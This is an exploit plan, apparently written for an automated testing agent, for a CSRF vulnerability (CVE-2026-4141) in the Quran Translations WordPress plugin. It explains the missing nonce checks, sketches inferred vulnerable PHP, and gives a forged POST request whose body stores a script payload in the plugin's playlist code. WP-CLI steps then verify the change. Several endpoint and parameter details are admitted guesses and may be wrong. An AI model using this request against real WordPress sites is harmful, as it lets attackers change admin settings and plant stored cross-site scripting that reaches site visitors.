Quran Translations <= 1.7 - Cross-Site Request Forgery to Playlist Settings Form

This research plan outlines the technical steps required to exploit CVE-2026-4141, a Cross-Site Request Forgery (CSRF) vulnerability in the Quran Translations plugin for WordPress.

1. Vulnerability Summary

The Quran Translations plugin (versions <= 1.7) contains a CSRF vulnerability in its settings management logic. The function quran_playlist_options() (inferred) responsible for rendering and processing the plugin's settings page fails to implement nonce validation. Specifically, it processes POST requests and updates plugin options via update_option() without verifying a cryptographic nonce using check_admin_referer() or wp_verify_nonce().

An attacker can exploit this by tricking an authenticated administrator into submitting a forged request, allowing the attacker to change critical plugin settings, such as the playlist title or injected playlist code.

2. Attack Vector Analysis

• Vulnerable Endpoint: /wp-admin/admin.php?page=quran_playlist (slug inferred from function name quran_playlist_options).
• HTTP Method: POST.
• Target Function: quran_playlist_options()
• Vulnerable Sink: update_option().
• Authentication: Requires a site administrator to be logged in (targeted via CSRF).
• Payload Parameters (Inferred based on description):
  • playlist_title or quran_playlist_title
  • playlist_code or quran_playlist_code
  • show_pdf / show_rss / show_podcast / show_media_player
  • A submit/save parameter (e.g., save_quran_options).

3. Code Flow

1. Hook Registration: The plugin likely registers an admin menu page via the admin_menu hook:

   add_action('admin_menu', 'quran_translations_menu');
   function quran_translations_menu() {
       add_options_page('Quran Playlist', 'Quran Playlist', 'manage_options', 'quran_playlist', 'quran_playlist_options');
   }
   

2. Execution: When the administrator visits the settings page or a POST request is sent to that slug, quran_playlist_options() is executed.
3. Processing (Vulnerable): The function checks for POST data and calls update_option() directly:

   function quran_playlist_options() {
       if ( isset( $_POST['submit_options_check'] ) ) { // Inferred trigger
           // MISSING: check_admin_referer('action_name');
           update_option('quran_playlist_title', $_POST['playlist_title']);
           update_option('quran_playlist_code', $_POST['playlist_code']);
           // ... other options
       }
       // Render the form...
   }
   

4. Nonce Acquisition Strategy

No nonce is required for this exploit.
The vulnerability exists specifically because the plugin does not implement or verify nonces. The wp_nonce_field() is missing from the form, and the backend processing lacks check_admin_referer() or wp_verify_nonce().

To confirm this, the agent should:

1. Navigate to the settings page as an admin: browser_navigate("/wp-admin/admin.php?page=quran_playlist").
2. Check the HTML source for a hidden input field with name="_wpnonce". Its absence confirms the vulnerability.

5. Exploitation Strategy

The goal is to change the playlist_title to a malicious string (e.g., "CSRF_EXPLOITED") and the playlist_code to a script block.

Step 1: Identify Parameter Names

Navigate to the settings page and extract the exact name attributes for the form fields.

// Run in browser_eval
const fields = Array.from(document.querySelectorAll('input, textarea')).map(i => i.name);
console.log(fields);

Step 2: Craft and Send Forged Request

Using the http_request tool with the admin's session cookies, perform a POST request to the settings page.

Request Details:

• URL: http://localhost:8080/wp-admin/admin.php?page=quran_playlist (Inferred slug)
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body: (Adjust parameter names based on Step 1)

  playlist_title=VULNERABLE_TITLE&playlist_code=<script>alert(1)</script>&submit=Save+Changes
  

6. Test Data Setup

1. Plugin Installation: Ensure the quran-translations-by-edc plugin version <= 1.7 is active.
2. Admin Access: The exploitation requires the http_request tool to use the administrator's cookies. Ensure the agent has logged in via browser_navigate first.
3. Initial State: Verify current settings: wp option get quran_playlist_title (or the correct option name).

7. Expected Results

• The HTTP response from the POST request should be a 200 OK or a 302 Redirect back to the settings page.
• The response body of the settings page should now display the updated values in the input fields.
• The update_option calls will persist the new values in the WordPress database.

8. Verification Steps

After sending the exploit request, verify the state change using WP-CLI:

# Verify the title was changed
wp option get quran_playlist_title

# Verify the playlist code was changed (potentially containing XSS)
wp option get quran_playlist_code

Additionally, visit the frontend where the playlist is rendered (e.g., a page with the [quran_playlist] shortcode) to see if the modified values appear.

9. Alternative Approaches

If the plugin uses admin-post.php instead of a self-submitting settings page:

• Target URL: http://localhost:8080/wp-admin/admin-post.php
• Additional Parameter: action=update_quran_playlist (or similar).

If the settings are handled via a specialized AJAX handler (though less likely for a settings form in this plugin type):

• Target URL: http://localhost:8080/wp-admin/admin-ajax.php
• Body: action=quran_save_settings&... (without nonce).